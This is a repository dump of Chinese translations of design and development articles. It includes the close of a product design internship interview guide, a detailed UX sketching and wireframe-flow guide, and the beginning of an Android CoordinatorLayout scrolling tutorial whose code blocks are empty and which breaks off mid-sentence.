      在作品集审核中,你也应该**深思熟虑地以批判性眼光看待**自己的设计。没有哪一款设计方案是完美的。反观自己的项目,然后想出一些如何提高它们的建议。 许多公司认为产品设计有三个基础: 1. 视觉设计:如何改进你的设计?它们是否感觉起来有好的工艺和改进?它们是否美观地和人心意? 2. 交互设计:你能凭直观设计出端到端的用户流吗?你合理地考虑了边缘情况吗?在你设计的 app 中,如何简单的从 A 点到 B 点? 3. 产品思维:你要努力解决什么样的问题?你为谁而设计?哪些特性应当包含在你的产品中,为什么? 作品集审核能够帮助面试官衡量你在这些领域的强项和弱项。或许你在更适合视觉设计却缺少交互设计的能力。或许你是个稀奇古怪的产品思维者却不能在现实中创建原型。但是这都没问题!你还只是个学生。面试官不会很期待你在产品设计的每个方面都出众。勇于承认自己的弱项以表谦逊,这是任何一个设计师都必不可少的素质。 **为作品集审核做好准备是关键。**在面试的时候,我经常发现自己会紧张急躁地展示自己作品集每一个项目。列的一些要点会防止我跳过重要的部分,同时也会让我渐渐慢下来平静下来。 你列的要点应该侧重每一个项目具体的设计流程,详细阐述它们运行错误和运行正确的情况。深刻反省你预计出现的每一种情况。写下所有自己能记得的设计流程。让一个朋友模拟面试你。准备,准备,准备! 如果作品集审核进展顺利,那么你就会进入设计任务阶段。 #### 3\. 设计任务 传统的设计任务都会遵循下面这个模式: _请为需求 X 或者解决 Y 问题设计一个界面/物品/产品。_ 当场进行设计任务自然会更加吓人。如果说作品集审核是要充实你过去的设计流程,那么设计任务则是要求你实时实地的展示你的设计内涵思想。 一些我曾遇到的任务: * 设计一款采集高质量电话号码的 web 表格。同时,如果你说电话号码,某个人会接到电话。 * 为搜索引擎设计主页。 * 展开头脑风暴,使用 Kindle 电子阅读器屏幕的材料设计一款产品。 每一位设计师都有他们自己的设计流程,所以我不能准确的告诉你在设计任务中如何应对。但是我建议可以思考一下你在为谁设计,快速地勾勒出许多不同的选项,并分析这些选项之间的权衡之处。在完成一个彻底的全局思考之前,不要在交互或者视觉细节的选项上陷得太深。 我曾是被要求设计一款手机 app,从而能更简单地为餐厅的顾客分开账单。最开始进展的不错。我很快地为服务员进入账目收据勾勒出了一个设计选项。然后另外一个选项是用户手动输入数据。但是在结束全局思考之前,我沉迷于这个选项的设计,在细节上陷的太深。(布局应该是什么样?版面设计如何工作?) 我在视觉细节上浪费了时间,结果导致我没有足够的时间思考其他类型的方案(例如,用顾客的手机为账单拍张照)。那次面试的第二周我收到了面试官的拒信。但是回想这件事,设计任务方面给我上了宝贵的一课:面试官更关心你全局思想的探索而不是你的细节追求。 ![](http://ww1.sinaimg.cn/large/a490147fjw1f2lzxz07syj20m80agt9x.jpg)
      在深入思考整体设计之前,不要陷入到视觉设计细节中去。漫画作者:Andrew Hwang
      在设计任务环节最至关重要的是**展示你的想法代替技巧**。所以不要害怕想一些疯狂天马行空的点子。询问你的面试官一些问题。不要假设任何事情。并且要记住,头脑风暴和分析高级想法比探索不同的按钮样式要更加有意义。 谢天谢地,如此高压的设计任务并不是每次面试流程都有的环节。或许,你会被问及一些 app 评判问题。 #### 4\. App 评判 选择一款 app,任何 app 都可以。但至少确保这款 app 你了解的很清楚。 app 评判环节主要是为了分析你的产品思维技能。你会带领面试官走进你选择的 app。在这过程中,面试官会打断你并问类似这样的问题: * 你认为这款 app 的用户人群是什么? * 这款 app 企图解决什么样的问题? * 它如何解决问题的? * 你最喜欢这款 app 的哪些特性,为什么? * 你最不喜欢这款 app 的哪些特性,为什么? * 你认为为什么设计者会做出决定 X? * 某一特性的关键是什么?它这样增加特性有什么价值? * 你会怎么提升这款 app? * 这款 app 的竞争对手有哪些? * 这款 app 在哪些方面做得比竞争对手好?哪些方面比竞争对手差? 在 app 评判上运筹帷幄比较困难,因为这需要你有强大的产品嗅觉。我能给出的最好建议就是练习从更高层面分析 app。忘掉颜色、排版和按钮设计,取而代之,深入思考**app 提供了哪些价值**。并且思考**app 的一些特性如何与其整体价值相平衡**。例如,Snapchat 就是致力于解决与朋友实时分享的问题。所以他们就做出了一些很棒的特性例如 Live Snapchat 作为大家分享的主要内容和直接在聊天过程中发送 Live Video。 ### 总结 产品设计面试很难。这样的面试压力很大,不限成员名额,并且你在不断接到拒信的同时却根本不知道自己哪里做错了。 但是面试产品设计实习生就像其它任何技能一样。花时间多练习,你就会有所提高。面试一些你没有意愿在那里工作的公司是无关痛痒的,只是去锻炼你的面试技巧。 在你开始每一场面试前做好准备的笔记。尤其是在作品集审核环节。我发现列出每个项目可以谈及的关键点十分有帮助。这会防止你因为紧张跳过重要的部分。 最后但是并非最不重要的一点,设计社区很小并且联系紧密,只要你有勇气问问题,人们是很愿意帮助你的。 ================================================ FILE: TODO/guide-to-ux-sketching.md ================================================ > * 原文地址:[Everything You Need to Know about UX Sketching](https://www.toptal.com/designers/ux/guide-to-ux-sketching) * 原文作者:[NICK VYHOUSKI](https://www.toptal.com/designers/resume/nick-vyhouski) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[特伦](https://twitter.com/SyncTrip) * 校对者:[jiaowoyongqi](https://github.com/jiaowoyongqi)、[jamweak](https://github.com/jamweak) 如果你曾经做过一些非常需要创造性的工作,那你应该很清楚在创作中遇到阻碍的感觉。这种感觉就像撞上南墙: __你想不到一个足够好的点子,或是你想到的点子根本无法在实际中应用。__ 对于设计师们来说,这种感觉再熟悉不过了。然而,任何复杂的问题都没有那么容易解决,但一个聪明的工作流程就可以让这一切都变得不同。这就是为什么我们需要为用户体验设计绘制草图。 绘制草图是一个关键点,但它却常常在用户体验设计中被忽视。草图是一种表达设计的非常有效率的方式,设计师们可以通过草图来尝试许多不同的点子,而避免沉沦于其中的某一个。 在这篇文章中,我想要介绍为用户体验设计绘制草图时你所需要知道的一切,包括了下面这几点: * 介绍用户体验设计中的草图与线框图 * 绘制草图的基本要点、工具以及技巧 * 用笔记、注释和数字来阐明你的草图 * 为用户体验设计绘制草图时的小提示 * 用简单的设计方法来提高质量和效率 * 关于线框流程图你所需要知道的一切 * 为用户体验流程绘制草图的快速指南 ## 绘制草图是一个需要两步走的过程 在设计中你必须考虑许多不同的方案,确保最终选择和确定的结果是__最好的那一个。__ 设计师们在设计时应该先思考他们的不同方案,之后再着手于细节,因此用户体验设计应该是一个两步走的过程: ![Ux sketching](https://assets.toptal.io/uploads/blog/image/121222/toptal-blog-image-1474991007791-230ca06cc9fe1490e78fb46953ffbcb0.jpg) 在最初的设计过程中,你会产生许多不同的想法,但这些想法都很难成形,甚至有一些元素的残缺或丢失也不奇怪。最重要的事是你应该用不同的方法去思考,并判断哪一种在你的任务环境中最有效率,以及你的项目会遇到的各种限制。 * **细节与精炼** 一步一步来。选定一些看上去不错的想法并且开始着手于优化他们的细节,以此来填补这些点子中不合适的部分。 ## 用户体验设计中的草图和线框图:介绍与分类 你绘制的线框图很可能依据你的产品而有所不同,比如所需要的细节程度,颜色或风格的不同,或是你是否需要展示给某人,等等。 ![](https://assets.toptal.io/uploads/blog/image/121204/toptal-blog-image-1474890673236-d74ae4998dab921752d271212847a991.png) 好的草图会让你的想法更清晰,找到最佳解决方案,并节省你的时间。 我列出了下面这些不同类型的草图: * 草稿:提出构思 这些是最初的草图版本,用于指出较低程度的细节,色彩的使用范围也有限。 我会绘制大量简单的手绘图来以不同的角度思考问题和解决方案。同时在画这些手绘图的时候,我也尽可能地去让这些解决方案发散开来。 在这个特别的步骤里,低完成度的要求使我开放了思维,因为要避免在这个阶段陷入一些细枝末节是非常重要的。我的目标是尽可能地想出许多的点子,并选择出最合适的那一个。 * **线框图:规范的细化阶段** 在我选出一个最好的想法并有了大体的细节之后,我通常会挑选出合适的草图来继续细化。 但是,这么做__并不意味着要添加上每一个细节__。很显然,有些事只要标记一下就可以了。此外,有些东西也很难在纸上被详细描述。 在这一步中,我会画出所有__重要的细节__,但我还并不打算在 [Balsamiq](https://balsamiq.com/) 中绘制线框图。等我在纸上把所有事都做好之后,我再开始使用 Sketch 来绘制线框图。 > 数字化的工具相比于传统纸张,为创作提供了更广阔的自由空间。并且,你可以很轻易地把注意力放到微小的细节上。比如说,相比于设计,你可以把注意力集中于「像素级的改进」。 * 视觉设计稿 一般很少会使用这个方法,但许多时候它依然是很有帮助的。在项目初期需要考虑多种视觉设计的方向,但把它们都在电脑上绘制出来也许会耗费你相当多的时间。这也是为什么我首先在纸上绘制手绘稿,在思考了不同的方案之后再选择一个合适的视觉设计方向。 * **部件/元素分解** 当已经有了一个大体的想法,而我需要考虑某一个特定页面的功能或是界面中的必要组成部分时,这个技巧就是非常有用处的了。我会画出不同的页面元素,去深入它们的细节,然后在不同位置画出这些页面元素。 即便是最简单的一个元素,也一定会有它特定的状态;一个按钮可以被按下,一个文字框可以是空的也可以被填满。它的组成越复杂,那么它的状态也越多样。 ![](https://assets.toptal.io/uploads/blog/image/121220/toptal-blog-image-1474978796798-825431fd42dbca2c9a78a5046003b9d7.png) ## 从最基础的开始 * **准备好你的工具** - 尽可能找一个最方便你工作的地方,要有一张空间足够大的大桌子。多带上一些纸,再准备一些水笔和记号笔。 * **热身** - 为了让你做好准备,我建议你画一些线条,圆形,基本模板和图标。 * **明确你的目标** - 明确你想要画的是什么。设定好你的目标并决定好你想要讲的故事。告诉自己是否已经做好准备大施拳脚。 * **明确你的目标群体** - 如果你的草图是画给自己看,那你就不必担心这些草图长什么样子。但是如果你打算把你画的图给客户看,那你应该确保用一些额外的时间为你的草图添加更多细节。 * **设定一个时间范围** - 决定一个时间段用来分配给绘图,让我们定个 30 分钟吧,这能帮助你专注于工作。 现在,你已经做好了准备,可以开始了: 1. **绘制边界** - 先画好边框,一个浏览器或是手机窗口,或是界面的一部分等等。 2. **添加最大的基本元素** - 菜单,页脚,或主要内容。 3. **添加细节** - 添加重要的细节,但在这个阶段仍然要让它们保持简洁。 4. **添加注释和说明** - 只有当你准备分享你的草图时你才需要这么做。当然,即使你只为自己做设计,它们一样会很有用。 5. **绘制替代方案** - 为你的方案快速绘制一些替代方案。 6. **挑选出最好的解决方案** - 选择一个最优项。 7. **添加阴影和斜面** - 如果你打算跟人分享你的想法,这是一个非常重要的步骤。增加阴影来使你的草图在视觉上更有吸引力,这对于分享给团队成员或客户们来说是很重要的。 8. **保存好你的草图** - 拍一张照片或者把它们放进文件夹。我桌上有很多文件盒用来保存草图。 9. **分享** - 我通常用下面这些方法来分享: * 通过 [Evernote](https://evernote.com/?var=c) 来扫描,并且提供一个永久性的链接给团队的其他成员或相关人员。 * 拍一张照片并上传到 [InVision](https://www.invisionapp.com/)。 * 上传并把图片关联到 [Realtimeboard](https://realtimeboard.com/hello/)。 * 或者仅仅是用_电子邮件_发送图片。 10. **回顾草图并添加笔记** - 稍微休息一下然后再回过头来看看你的草图。这些草图对你来说是否仍然是易于理解的?一个好的草图必然是让人易于理解的。 ![](https://assets.toptal.io/uploads/blog/image/121216/toptal-blog-image-1474978448447-40701c83cf93e9be6339d4f0af43109c.png) > 如果连作为设计师的你都不能理解你草图中的某些部分,那这个解决方案必定不是一个成功的方案。同理,如果草图没有很好地用视觉表达出你的想法,或者这个想法过于复杂,那么这些都不是一个好的方案。 ## 用附加元素阐明你的草图 找到或者绘制一个合适的草图,然后给它加上下面这些细节: 1. **标题** - 有时候添加一个标题会是一个好选择。如果有必要的话,在草图顶上写上一个描述和日期。标题会有助于你理解你正在看的东西,以及这个草图是否正是你要找的。如果你有一大堆草图或是你准备把它们展示给别人,这个方法尤其有用。 2. **注释** - 注释可以在一个界面元素旁命名或者做标记,你可以用它来解释内容或属性。它们用来解释那些通常很难被画出来的细节。举例说,它可能是段落的名字,一些交互上的细节,一张图片的说明,或是一些未来设计上的变化,等等。你可以[看看我的例子](https://www.toptal.com/uploads/blog/image/121195/toptal-blog-image-1474538721087-70346acafa1accafd4332e733179d551.JPG)来理解一个草图中的注释应该是什么样的。 3. **编号** - 为你的界面元素或是草图编好序号。你可以决定如何来为他们排序(比如,以交互流程排序,以创作顺序排序,等等)。这样做在讨论过程中可能会很有用(尤其是远程的讨论),你的同事和客户们很容易在他们的反馈中指出你草图中的序号,这样你就可以知道他们在评论哪一个草图了。 4. **箭头** - 你可以用箭头来指出屏幕的转换。他们也可以用来连接草图中的不同部分,或是指出交互的顺序,等等。由于一个箭头可以有多种不同的理解,因此你可以在箭头上加上一个描述或者注释来解释这个箭头的含义。这里有一个[例子](https://www.toptal.com/uploads/blog/image/121197/toptal-blog-image-1474540322164-e4037ec1b56c685056935e3deaaaa8d7.png)展示了一个基本的草图如何展现界面转换和一些不同的状态。 5. **笔记** - 就像注释一样,笔记也用来解释你的意图。然而,笔记使用的场合不同于注释。它们不是用来附在一个界面元素旁,也不位于元素旁,[就像这个例子中一样](https://www.toptal.com/uploads/blog/image/121198/toptal-blog-image-1474540426961-bb0363f81ef0d15fbffd1fa7f1872e98.png)。笔记可以位于页面中的顶部或底部。笔记甚至可以用来描述你的设计中没有出现的元素,你的问题,全局的说明,没有绘制出来的想法等等。 6. **手势** - 如果你在做可触摸设备的设计,那么就一定会接触到手势。画一个手势可能需要练习。有很多种不同的手势用来解释不同的操作,所以你最好提前决定你要怎么用手势来解释一个特定的操作 (如果它并不那么容易理解)然后去练习绘制它。 7. **反馈** - 当你把草图展示给他人,或者等你自己再多看看它们的之后,你可能需要一些建议来修正或改进你的草图。把你的反馈用不同于草图的颜色标注起来,这可以帮助你从原始的草图中辨别出反馈,这会很管用的。 你可以用不同的颜色来对应不同种类的元素。有时我用黑色来绘图,蓝色用来表示链接,深绿色用来做笔记,红色用来作为标题和反馈。尝试在你的草图中使用不同的颜色,但要确保你选择的颜色是固定的。 ![](https://assets.toptal.io/uploads/blog/image/121221/toptal-blog-image-1474979173494-5e70fe3f0f0ddbc3749abe0f468ae0bb.png) ## 一些其他的建议和技巧 1. **别担心质量** - 别老盯着 Dribbble 上那些华丽的草图;它们和你要做的是__完全不一样__的意图。记住你画这些草图最主要的意图是让你的想法更加清晰,找出最好的解决方案,并节省你的时间。 2. **练习** - 作为一个新手,你可以尝试绘制一些应用。打开一个网站或者手机应用,尝试临摹它们,在笔记中描述界面中的元素。只要当你有空闲的时间,你就可以练习绘制你的设计中的基本元素。通常来说,练习会让你做得更完美。一段时间后,它会变成你的设计生活中的一部分。 3. **买一个文件夹** - 很多时候我宁愿在咖啡馆或家里工作,也不愿意在办公室工作。纸质的草图很容易被损毁,所以你可以买一个简单的文件夹让它们安全地保持完好。 4. **不管去哪儿都带上你的工具们** - 这可以帮助确保你可以在任何时间在纸上捕捉到你的灵感,除非你刚好没有任何想法,或者你老是记不得这些小事。我总是带着一个笔记本,一些 A4 纸和笔。 5. **与他人分享** - 与其他人交流,与你的团队交流是非常重要的。与他人交流并获得他们的反馈,尤其是在早期就这么做,可以帮助你在长期的工作中节省时间和资源。你也可以鼓励其他人画出他们对这个设计的构想。 6. **文件盒** - 考虑一下放一个文件盒在你的工作台上。像我就有三个文件盒:一个用来放接到的任务,一个用来放草图,另一个盒子里有许多没有用过的干净纸张。 7. **尝试和习惯** - 我为你推荐的工作流程都基于我自己的经验。在某个适当的时候,你也会发现最适合你的工作流程:用什么样的方法,用什么样的步骤顺序,用什么来正确激发你的创作潜能。要达到这样的底部,你必须不断尝试新的东西,这就是为什么不断实验新的版式,新的风格以及新的模板是非常重要的。 8. **套用模板** - 套用模板可以节省时间,而且可以让你的版式受到统一,释放更多时间来专注于更重要的部分。 ## 为你的草图加分的额外小窍门 这些并不是必要的技巧,但它们是一些方法、工具和建议的合集,这些应该可以推进你的生产力和提高你草图的质量。 ![](https://assets.toptal.io/uploads/blog/image/121218/toptal-blog-image-1474978640692-2c88d90d23aeb1b8484677f5fc3d4447.png) 1. **建立一个草图板** - 使用纸和笔来代替数码工具最大的好处之一就是你可以把他们钉在墙上。你团队里的每一个人都可以看到和分享你的草图(虽然我建议还是要设立一个回顾的环节)。 * 你可以看到你自己的草图,这会刺激你的思考。而且你可以一眼看到整张图片——不是孤立的部分——而是整个结构。你也可以看到不同部分之间的交互是否相匹配。 * 建立一个草图版 - 附到你的白板旁。如果你的办公室里没有白板,你可以用一个双倍的胶带或者即时贴来把你的草图贴到墙上。如果你不想把它们贴到墙上,你可以找一个大一点的硬纸板来代替。我非常推荐建立一个草图版,它是一个最棒的设计工具。 2. **使用白板** - 白板是一个绝佳的绘图工具。它有很多优点:它可以供写作;它在涉及到与团队成员的讨论和绘制中非常有用。即是成员们的想法不那么合适,你也可以弄明白他们的思路并帮助你在同样的位置继续工作。 * 马克笔没有办法让你注意到细节,你不得不思考整体上的东西。草图则更易于理解。 * 白板很容易擦除和修正错误。 * 白板的空间很大,所以你可以轻松地思考整个系统的流程。 * 你可以附上草图,打印文件和其他相关材料。 3. **原型** - 制作一个可以点击的原型来看看你的设计的效果。试着获得一些关于界面元素的反馈。这项工作在你使用模板的时候会很好进行——你的草图都是相同尺寸的。很显然,用一个模板来绘制相同尺寸的草图是更容易的。我给你提供了一些可以下载使用的模板,来让这件事更简单。 [Mobile](https://toptal-email-assets.s3.amazonaws.com/71.pdf), [Browser multi-window](https://toptal-email-assets.s3.amazonaws.com/72.pdf), [Browser scroll](https://toptal-email-assets.s3.amazonaws.com/73.pdf), [Personas](https://toptal-email-assets.s3.amazonaws.com/74.pdf). 4. **用上你的打印机和扫描仪** - 在纸上手绘框架(你可以用尺子来画得更准确),然后用一个扫描仪或者手机应用来扫描,并把它打印出来。你可以在打印之前用图片编辑器编辑你的模板。你也可以移除没有必要的细节或者一些重复的元素。你还可以打印现成的网站,照片或者其他具体的元素。你可以把他们剪贴到你的草图上。 5. **用 Evernote 来扫描** - Evernote 是做设计的一个绝佳的工具。你可以用它来保存和分享你绘制的草图。你可以创建不同的主题,然后用标签来组织你的草图。它的「扫描」模式尤其让人印象深刻。把你的草图放到面前然后扫描,你就可以得到一份你草图的副本了。然后你可以邀请你的同事并给他们一个你的笔记的链接。因为 Evernote 在平板电脑和手机端都有 App,所以你可以总是保证你的草图随时可用。 6. **混搭草图** - 把一些生活化的和现实风格的东西加入你的草图中让他们可以和照片结合起来。这表示你需要照一张照片然后画一些故事在界面元素上。这也可以帮助你注意到一些交互问题和细节。 7. **还原现实世界** - 如果你需要创建一个故事版,在具体的背景中说明一个经历(比如一个人在公交车站使用手机),你的故事需要包含人物的描述,地点的描述,以及其他许多现实生活中的东西。这可能很难去画出来,尤其是你可能并没有非常好的绘画技能,但这里有一个简单的小提示: > 为物体或场合拍一张照片,然后用图片编辑器取得这些物体的轮廓。之后你可以把处理得到的轮廓图用到你的草图中。 当然,如果你有一个__平板电脑和手绘笔__那将会更容易一些。 ## 线框流程图: 系统概要的流程和分支 线框流程图描述的是一个系统流程的次序,一屏接着一屏,有着很多分支和关键点。我们应该思考一个用户怎样去安排他们的任务,他们怎么从一个屏幕到另一个屏幕,他们的总流程在这个产品上的耗时。 ![](https://assets.toptal.io/uploads/blog/image/121217/toptal-blog-image-1474978519495-3207145b04526cb6add52ae4214d3726.png) 线框流程图——或者说把你画的东西像这样连接起来——可以根据下面这些不同的方式来整理: * **序列** - 一屏接着一屏,一个序列就是一个不一样的旅程。当然它也可以是一个和关键点有关的故事。你展示的不光是这个旅程,也是用户可以选择的关键点和不同的过程。你可以展示你的交互结构。 * **场景变化** - 描绘一下元素,情景以及交互如何在不同的场之间变化。 * **屏幕 vs. 屏幕里的元素** - 你可以画出整个场景或者思考交互和微交互。 * **平台** - 你可以思考一个平台的流程或多个平台的流程。 * **范围** - 你该描绘一部分用户流程还是整个用户流程?描绘系统中单个用户的交互还是多个用户的交互? 我通常会依据组织和实际的使用流程,去试着定义下面这些流程图的类型: ![](https://assets.toptal.io/uploads/blog/image/121193/toptal-blog-image-1474530411596-b613d988b28bb8a092d6c814c2b22252.png) 1. **反映总体的流程和一个高优先级的流程** - 及时画出这些界面的转换,并画出你的产品的使用流程。在这一步绘制中你可以交代一些背景,也可以有选择地展示一些用户界面。比如说,一个电商购物服务有着一个很长的流程,很可能包含很多步骤:用户怎么找到商品,用户订产品要经过的步骤,他们如何付款等等。 2. **界面流程** - 这更专注于展示一个特定的功能。它可以是一个流程中的小分支的单独步骤。比如说,一个用户要上传一些照片或视频。 3. **界面导航** - 画下你的界面和他们包含的不同选项。这不需要详细规划你的流程。这一步包含的信息展示了一个用户可以选择的不同选项,用户的不同流程线路,以及 App 中的不同部分。我通常在项目开始的时候就创建一个界面导航。这帮助你理解流程应该被如何组织起来(应该包含哪些重点,需要多层级) 4. **界面状态** - 画下一个界面或者元素的状态(一个例子可能是上传文件的对话框)。既然这样,举个例子,界面会有下面这些状态: * 空白 * 用户在可操作的区域选择了文件 * 文件正在上传 * 文件上传好了 * 出现了一个错误 ## 绘制用户体验流程图:一个教会你怎么做的快速指南 线框流程图的处理类似于单个的线框图。许多步骤都是相同或相似的,但是它们也有一些地方很不一样: **明确什么是你需要画出来的** - 决定究竟你要画哪些东西(比如,你设计中的一个局部或整个流程)。你是否想要安排不同的选项,或者表现你流程中的细节?并且你应该决定你是否需要把你的草图展示给其他人。 **明确你的草图中应该包含哪些关键框架和转换** - 如果你把所有的界面和界面转换都添加到你的流程图中,那它将会非常长而且非常复杂。思考一下你应该用界面中的哪些关键点来展示交互的传达,这将有助于你完成你的任务。关于界面的转换也是一样,你需要选择哪些转换对你的思路表达是有意义的。看一看[这个例子](https://www.toptal.com/uploads/blog/image/121199/toptal-blog-image-1474540975778-abea7a31986dfeacfda2e4e0804a2d1a.png)来做参考吧。 **定义起点** - 你流程里的起点在哪里?你可以从应用的入口作为起点,换句话说,这是用户登陆你的 App 后所看到的。或者,你可以从一个用户流程的结束点开始,然后描述用户怎么样才能到这一步。 ![](https://assets.toptal.io/uploads/blog/image/121219/toptal-blog-image-1474978685103-a4d5fcf8c50aa59c80b738780c115757.png) > 明确你的方法并制作一个全面的草图 **判断下一步是什么** - 在画好起点之后,你可以通过回答下面这些问题来判断下一步应该是什么: * 这一步中的那条流程可以引导用户? * 你希望用户走哪一个流程? * 他们要怎么做才可以到那里? **画出可选的路径和入口** - 思考一下每一步用户可能到达的不同流程: * 如果用户的网络连接错误会发生什么? * 他们有哪些其他的选项? * 万一用户或 App 出现了错误,会发生什么? * 如果用户在这一步关掉了 App 会发生什么? * 用户下一次会从哪里启动这个 App? **思考一下可选的流程** - 分析整个流程,设计一个可选的流程,然后把它画出来 **加上注释、笔记和细节** - 加上一些说明可以阐述那些不那么明显的细节。 **保存** - 为你的草图做一个电子档的备份 **分享** - 分享你的草图(比如通过 Evernote 或 Invision)。 ## 为用户体验绘制流程图的必要小提示: **先画个线框流程图** - 如果你要思考一个很长的用户流程,你最好快速画一个简单的草图,好弄明白你需要多大的空间,并且不至于遗落一些重要的步骤和细节。如果你之后想再把遗落的部分加到手绘图里可能会比较麻烦。 **不要在一大张图里放太多的细节** - 手绘草图可没有_撤销_的按钮,所以想要在上面做改变是很麻烦的。你可能会因为把细节画得太细致,以至于你的注意力被越来越多的层级而转移了。你可以画出整体的系统来替代一个繁复的方案,试着把注意力放到关键的地方,并且给每个关键点一个独立的篇幅。 **去掉不必要的细节,把不同程度的细节合并起来** - 你没有必要画出所有交互,所以尝试一下只在你的流程里体现关键的元素。当你在绘制一个复杂的交互流程时,你没有必要把每个界面的细节都画出来。有的界面可以用一些形状来代替,至于其他的关键界面你再为他们添加细节。 **尝试一下不同尺寸的纸张** - 尝试一下不同规格的纸张吧,比如 A3 或者 A5 纸。纸张的尺寸会以不同的方式限制和影响你的工作方式。你无法在一张小尺寸的纸上加入太多的细节,但它可以帮助你聚焦于主要思想。用一张大纸可以画下很长的流程,许多的细节,并添加很多笔记。或者,你可以画下许多的小流程。 **便利贴也能帮上忙** - 你也可以试着使用便利贴。你可以在上面画一部分的界面或者一些脚注,或者你也可以为你的草图画一些额外的状态。便利贴的好处是它们可以随意更换,你也可以很简单地把他们移动到别的地方。举个例子,如果你的流程有变化,你可以替换掉你的便利贴的顺序就好了。 **使用模板** - 试着使用模板。它们可以节省你的时间,而且可以让你创建出更多可点击的、高质量的原型。 **试着使用白板** - 白板的好处太多了。它们变得越来越流行,因为你可以在白板上画出一长串流程图和分支。你可以在纸上画出许多应用的原件,然后用磁铁把他们贴到白板上,添加到你的流程图中。 **画上阴影** - 阴影可以帮助你标记一些重要的元素,并且它们让你的草图更有吸引力。我会用[这三种不同的阴影](https://www.toptal.com/uploads/blog/image/121196/toptal-blog-image-1474539075108-6a873f9d5c92296581a899fc3e595e83.JPG) * 光照方向的线条 - 它看上去并不总是那么漂亮,但你可以把它用来分级,把某个元素提升到不同的「高度」。 * 用深色描绘部分外轮廓。(只能是底面,或者是底面和右面) * 使用专业的马克笔(或者类似的绘画应用) **画出部件** - 一个__「我画不好」__的畏难心理可能会扼杀你的创作欲望。那实际上比听起来更容易。就算是一个最复杂的草图也是由一些基本的图形来构成。就像[这个例子](https://www.toptal.com/uploads/blog/image/121200/toptal-blog-image-1474541374928-3041b386060c7e598ac8ed9e07e47ace.JPG)。 > 如果你能画出一个点,一条线,一个三角形,一个方形和一个圆形,那你就可以在你的草图中画出你需要的任何图形。 **把它们都放在一起** - 这些基本的元素,按键,单选按钮还有下拉菜单都是固定的基本部件。在你学会画好这些部件之后,你可以[把它们组合起来](https://www.toptal.com/uploads/blog/image/121201/toptal-blog-image-1474541497592-c88cfa0ae9df1bbd3229b7280cfd05c0.JPG)然后画出更复杂的图形和部件。 ## 总结 这篇文章的目的不是教你创作一个最终的,一步到位的草图,或者万能的草图,因为设计师们会有不同的需要和个人的习惯。 就像你看到的那样,这涉及到了__许多东西__。设计师可以用很多的工具,技巧和方法去创作草图,而且最好是主观的。当然每个人的工作不同,这些技巧可能有用,但也可能并不是对每个人都有用。如果你准备好开始这么做,你一定要先做一些试验。 > 经常练习和试验可以帮助你找到适合你的工作方法。 想要怎么选择最适合你工作方法的提示和技巧,取决于你自己。你对 [UXers](https://www.toptal.com/ux) 有任何关于草图的技巧要补充吗?在评论区随意分享吧。 **相关链接:** [The Art Of Meaningful UX Design](https://www.toptal.com/designers/marketing/delight-meaningful-ux-design) ================================================ FILE: TODO/handling-scrolls-with-coordinatorlayout.md ================================================ > * 原文地址:[Handling Scrolls with CoordinatorLayout](https://guides.codepath.com/android/handling-scrolls-with-coordinatorlayout) > * 原文作者:[CODEPATH](https://guides.codepath.com/android) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/handling-scrolls-with-coordinatorlayout.md](https://github.com/xitu/gold-miner/blob/master/TODO/handling-scrolls-with-coordinatorlayout.md) > * 译者:[Feximin](https://github.com/Feximin) # 用 CoordinatorLayout 处理滚动 ## 总览 [CoordinatorLayout](https://developer.android.com/reference/android/support/design/widget/CoordinatorLayout.html) 扩展了完成 Google's Material Design 中的多种[滚动效果](http://www.google.com/design/spec/patterns/scrolling-techniques.html)的能力。目前,此框架提供了几种不需要写任何自定义动画代码就可以(使动画)工作的方式。这些效果包括: * 上下滑动 Floating Action Button 以给 Snackbar 提供空间。 ![](https://imgur.com/zF9GGsK.gif) * 将 Toolbar 或 header 展开或者收起从而为主内容区提供空间。 ![](https://imgur.com/X5AIH0P.gif) * 控制哪一个 view 以何种速率进行展开或收起,包括[视差滚动效果](https://ihatetomatoes.net/demos/parallax-scroll-effect/)动画。 ![](https://imgur.com/1JHP0cP.gif) ### 代码示例 来自 Google 的 Chris Banes 将 `CoordinatorLayout` 和 [design support library](/android/Design-Support-Library) 中其他的特性放在一起做了一个酷炫的 demo。 [![](https://i.imgur.com/aA8aGSg.png)](https://github.com/chrisbanes/cheesesquare) 在 github 上可以查看[完整源码](https://github.com/chrisbanes/cheesesquare)。这个项目是最容易理解 `CoordinatorLayout` 的方式之一。 ### 设置 首先要确保遵循 [Design Support Library](/android/Design-Support-Library) 的说明。 ## Floating Action Button 和 Snackbar CoordinatorLayout 可以通过使用 `layout_anchor` 和 `layout_gravity` 属性来创建悬浮效果。更多信息请参见 [Floating Action Buttons](/android/Floating-Action-Buttons) 指南。 当渲染一个 [Snackbar](/android/Displaying-the-Snackbar) 时,它通常出现在可见屏幕的底部。Floating action button 必须上移以便腾出空间。 ![](https://imgur.com/zF9GGsK.gif) 只要 CoordinatorLayout 被用作主布局,这个动画效果就会自动出现。Float action button 有一个[默认的 behavior](https://developer.android.com/reference/android/support/design/widget/FloatingActionButton.Behavior.html) 可以在检测到 Snackbar 被加入的同时将这个 button 向上移动 Snackbar 的高度。 ``` ``` ## 展开与收起 Toolbar ![](https://imgur.com/X5AIH0P.gif) 首先确保你使用的不是过时的 ActionBar。并确保遵循了 [将 ToolBar 用作 ActionBar](/android/Using-the-App-Toolbar#using-toolbar-as-actionbar) 指南。还要确保的是以 oordinatorLayout 作为主布局容器。 ``` ``` ### 响应滚动事件 接下来,我们必须使用一个叫做 [AppBarLayout](http://developer.android.com/reference/android/support/design/widget/AppBarLayout.html) 的容器布局来使 ToolBar 响应滚动事件: ``` ``` **注意**:根据官方的 [Google 文档](http://developer.android.com/reference/android/support/design/widget/AppBarLayout.html),目前 AppBarLayout 需要作为直接子元素被嵌入 CoordinatorLayout 中。 然后,我们需要在 AppBarLayout 和 期望被滚动的 View 之间定义一个关联。在 RecyclerView 或其他类似  [NestedScrollView](http://stackoverflow.com/questions/25136481/what-are-the-new-nested-scrolling-apis-for-android-l) 这样的可以嵌套滚动的 View 中加入 `app:layout_behavior`。支持库中有一个映射到 [AppBarLayout.ScrollingViewBehavior](https://developer.android.com/reference/android/support/design/widget/AppBarLayout.ScrollingViewBehavior.html) 的特殊字符串资源 `@string/appbar_scrolling_view_behavior`,它可以在某个特定的 view 上发生滚动事件时通知 `AppBarLayout`。Behavior 必须建立在触发(滚动)事件的 view 上。 ``` ``` 当 